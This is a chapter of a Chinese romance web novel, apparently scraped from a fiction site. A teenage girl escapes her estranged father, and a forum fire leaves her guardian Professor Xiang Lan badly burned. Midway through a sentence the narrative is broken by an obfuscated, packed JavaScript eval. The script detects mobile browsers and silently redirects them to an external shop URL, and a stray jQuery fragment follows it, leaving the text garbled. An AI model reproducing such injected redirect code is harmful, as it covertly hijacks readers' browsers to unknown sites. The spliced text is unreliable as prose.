文趣网 > 其他小说 > 未雨海棠[先婚后爱] > 19. 19.红宝石胸针和薄翼蝴蝶
    “多少恍惚的时候,仿佛看见你在人海川流。”

    ——李健《假如爱有天意》

    -

    宋棠絮像只受惊的鹿,在商场人流中左冲右突跑得飞快。

    “呼、呼……”

    直到拐过连廊,确认那个令人窒息的身影没有追来,她才敢停下来,扶着冰凉的消防栓大口喘气。

    “盼盼。”

    不是期盼,只为盼儿,盼下一胎是个儿子。

    翟庆临的声音像诅咒,刮擦着她敏感的神经,从小到大她最最厌恶这个名字,每一次被人唤起,就仿佛在提醒她是不受欢迎,不被期待的女孩。

    如果她是儿子,她的生母就不会犯险死在血腥的产床上。

    为什么会在长宁碰见翟庆临?

    宋棠絮茫然地抬起头,阳光刺得她眼睛发酸,她对八岁前的记忆并不清晰,只记得那个道貌岸然的伪君子每次出现,妈妈就会哭,外公外婆就会吵架。

    虽然惊魂未定,但理智却从未下线。

    她不敢细想,也许姚姨嘴里所谓良心发现的“认亲”,根本不是巧合。

    决不允许那个男人,因为她和宋家、和邵云旌牵扯上关系!

    宋棠絮回到路边,却没再上车,周叔见她气喘吁吁,不放心地赶忙下来,打开一瓶水递到她手边:“小姐,您没事吧?”

    她余光瞥到玻璃橱窗上,脸色惨白如纸,头发散落,眼神里全是未散的惊惧。

    太像了,几乎是一个模子刻出来的。

    宋棠絮假装镇定:“只是有点低血糖,这附近不好停车,要不您先回去吧,我把东西送下后会等阿姨一起回家。”

    “好,那您有事再给我打电话。”周叔说完,开着迈巴赫离开了。

    从环球港到国际会展中心,快步走只需十分钟。

    到了现场,宋棠絮才知道这个在三楼“女性影响力论坛”,是宁大牵头举办,会场座无虚席,来宾皆是各自领域的top女性,气场强大,目光如炬。

    台上背景板上的Logo与赞助商名单,无一不在彰显着这场活动的分量。

    就在论坛即将开始,向澜准备上台演讲时,现场设备突发故障,演示文件无法播放,幸好宋棠絮及时赶到。

    这段时间,她把向澜从前发过的著作论文包括教学资料,建立了一个小型数据库搜索引擎,便于查找。

    粉色硬盘接入电脑后,几秒时间就能完成检索、复制、发送到控台。

    宋棠絮习惯准备PlanB,并分开放置,规避风险。

    “谢谢我的乖女儿!”

    向澜轻轻摸了摸她的脸,就迈着自信的步伐,走上演讲台:“大家好,我是宁大历史学系的向澜,很荣幸参加‘破界·共生’女性影响力论坛……”

    庆幸自己来之前换了条得体的米白裙装,不算太蓬头垢面,因为她竟然看见——台下还坐着邵云旌的母亲温蕴。

    宋棠絮不会化妆,但十五六岁的年纪,脸上全是饱满的胶原蛋白,反而清新朝气。

    她微微颔首,对方含笑回应,刚才一切都看在眼里,眼中闪过一丝赞许。

    宋棠絮随便找了个座位坐下,静静听向澜的演讲。

    “刚才发生了一个小小的意外,今天,我们在这里讨论‘女性影响力’,究竟是什么?这个词很大,大到涵盖了政治、经济、科技;但它也很小,小到关乎每一个具体的、鲜活的生命。

    但在成为母亲之后,我才明白,女性的影响力,是一种“兜底”的能力,有时候,后退一步,张开双臂,比向前冲刺更需要力量。

    ……

    最后向澜的声音轻柔下来,充满希冀:“我想对在座的每一位女性说:愿我们,既有披荆斩棘的铠甲,也有滋养万物的温厚。”

    “我是向澜,一个女性,也是女儿、妻子和母亲~”

    她微微倾身鞠躬,换来掌声经久不息。

    下台前,向澜却特意走到台边,对着宋棠絮的方向,做了一个“OK”的手势。

    论坛活动结束后,向澜自然而然地牵起她的手,说带她去认识认识人,在一片赞誉声中,她们被引到了楼上的贵宾休息室。

    她只是安静地站在旁边,落落大方,用恰到好处的微笑回应。

    虽然两人同在宁大任职,毕竟平时诸事缠身,上次校庆只是匆匆一见,这回难得有时间能好好说说体己话

    服务生给几人各倒了一杯热茶。

    温蕴看着宋棠絮,是越看越羡慕,随即将胸针取下,递了过来,语气是长辈对小辈的慈爱:“棠絮,今天匆忙来不及准备,这个送你,算阿姨送给你的见面礼。”

    她手里是一枚繁星红宝石花篮胸针,主石是一枚12克拉无烧抹谷鸽血红,足以媲美世界前三的“深红火焰”。

    向澜刚想开口提醒:“这不是……”

    话到嘴边,却见温蕴对她轻轻摇了摇头,眼神里带着“别多说”的默契:“我看你今天这身米白裙子,配这枚胸针正好。”

    宋棠絮一怔,下意识想要推辞,温蕴却按住她的手,将胸针轻轻别在胸前衣襟上,衬得她如雪的肌色更显盈泽。

    -

    休息室里,茶香氤氲,夕阳余晖将三人的影子投在丝绒沙发上,拉得很长。

    门外不知怎地一阵哄乱,伴着一股刺鼻的焦糊味,逆着新风管道扑了进来。

    温蕴掩着鼻,黛眉皱起:“外面怎么回事?”

    “夫人,失火了!咳咳……听说是车展上一辆新能源车自燃了……”

    秘书话还没说完,那股味道顷刻就变成浓烈的黑烟,紧接着火警铃像一把尖刀,瞬间划破了所有宁静,天花板的喷淋系统应声启动,水点如暴雨般倾盆而下。

    “别慌!”温蕴处变不惊,急忙抓起旁边茶水间的湿毛巾,熟练地折叠给了众人,“先捂住口鼻,再去找出口。”

    “夫人、向教授你们跟我来。”

    向澜的第一反应,是护住宋棠絮。

    她一把将人拉到身后,用自己纤弱的背脊,挡住那片正从门缝里疯狂涌入的、带着火星的浓烟。

    视线很快一片模糊。

    “走这边!”

    宋棠絮只觉得一股巨大的拉力拽着她往前冲,温蕴身边的安保几乎是最高级别,都经历过大风大浪,顺利将三人护送到安全出口附近,这时头顶传来一声令人牙酸的“嘎吱”声。

    一根足有手臂粗细的金属装饰条,脱离了龙骨,直直地坠落下来,目标精准地锁定了宋棠絮的后脑勺。

    千钧一发之际,原本护在她身前的向澜,像一道屏障般决绝地隔开了彼此。

    “嗤——啊!”

    “向教授!”

    巨大的冲击力将宋棠絮往前猛地一推,踉跄着几乎摔倒,等她回过头看去,向澜那件轻薄的丝质衬衫瞬间被烧穿,皮肉与金属灼

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587318|204675||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    烧在一起,红肿后迅速起泡。

    宋棠絮用她毕生最高的分贝喉出那声:“母亲!”

    “棠、棠絮、你有没有受伤?”

    “没有!我没有!母亲……”她因过度惊吓,肩膀一直在颤抖,泪水决堤而出。

    “别怕别怕,妈妈没事的。”

    母女俩谁都没注意到称呼的变化。

    她扑在向澜身边,一把扯下捂口鼻的毛巾,死死压住向澜血肉模糊的左臂上,试图阻止那令人心惊的渗出。

    但鲜血和组织液,还是滴在她的裙摆上,晕开一片片刺目粘稠的红褐色。

    ……

    救护车的蓝光闪烁着,旋转着,像上帝用冷漠的眼睛,注视着这片混乱。

    一辆辆白色的救护车呼啸而去,消失在长宁的暮色里。

    省立的急诊部,即便深更半夜,也是人来人往。

    宋棠絮木然坐在手术间外的蓝色座椅上,最讨厌的消毒水气味,死死糊在鼻腔里,挥之不去。

    她狼狈地垂下眼睫,露出的半截腿被光磨得纤细,透出雪一样的白。

    中间有好心的护士过来劝她,先处理手背的伤口,表皮没有破损,只是起了零星的水泡,却都被无声地拒绝了。

    谁也无法劝说这个倔强的小姑娘。

    是不是……我真的是个灾星?

    这个可怕的念头一旦出现,便再也挥之不去,一颗心被恐惧和悔恨泡得酸软。

    上次她是在产房门外等妈妈,这次又在手术室外等向澜,靠近她的人都会被卷入不幸。

    直到,她忽然听见到一阵急促而沉重的脚步声。

    宋棠絮下意识地抬头,逆着光,看见邵云旌疾步走过来,身后还跟着许多人,有西装革履,也有白大褂。

    十八岁的少年肩膀宽敞,已具雏形的王者之气。

    他额角有汗,眉宇间锁着一层化不开的威严,冷厉,漠然,嘴角亦抿成一条冷硬的直线。

    那是宋棠絮从未见过的邵云旌。

    完美无瑕的玉,第一次显露出了它的裂痕。

    “蕴姨吸入了些烟,现在在高压氧舱。”她以为他在找温蕴。

    “我知道。”

    邵云旌刚刚从那边过来,母亲嘱咐他多照顾这边,说什么肥水不流外人田,不是槿知,就是棠絮,果然他一过来就看到家传的胸针,戴着少女的衣襟上。

    她的手腕纤细得,一只手仿佛能圈过来。

    乌黑的眼睫忽闪忽闪,像是花篮上的蝴蝶轻抖薄翼,下一秒就随时飞离。

    日光灯的光,毫无遮拦地打在他脸上,将他眼底那片深沉的、翻涌的情绪,照得一清二楚:“澜姨怎么样了?”

    “还在手术。”

    这次他带了邵家的医疗团队接手,从他踏进医院的那一刻起,就是主心骨,能调动所有资源,也必须为所有结果负责,

    “你……”他想了想,实在是对安抚小妹妹束手无措,忽然换了个话题:“要不要吃点东西?草莓烤布丁,还是草莓抱抱卷?”

    ?

    他的话,仿佛是某种能让她从崩溃边缘拉回来的、微不足道的慰藉,可此刻宋棠絮实在没精力安抚心中波澜的儿女情长。

    “有烟吗?”她听见自己问,声音很轻,像梦呓。

    “有。”

    邵云旌眼尾一紧,但没有疑问,转身去跟手下人要了烟和打火机,一起递给她。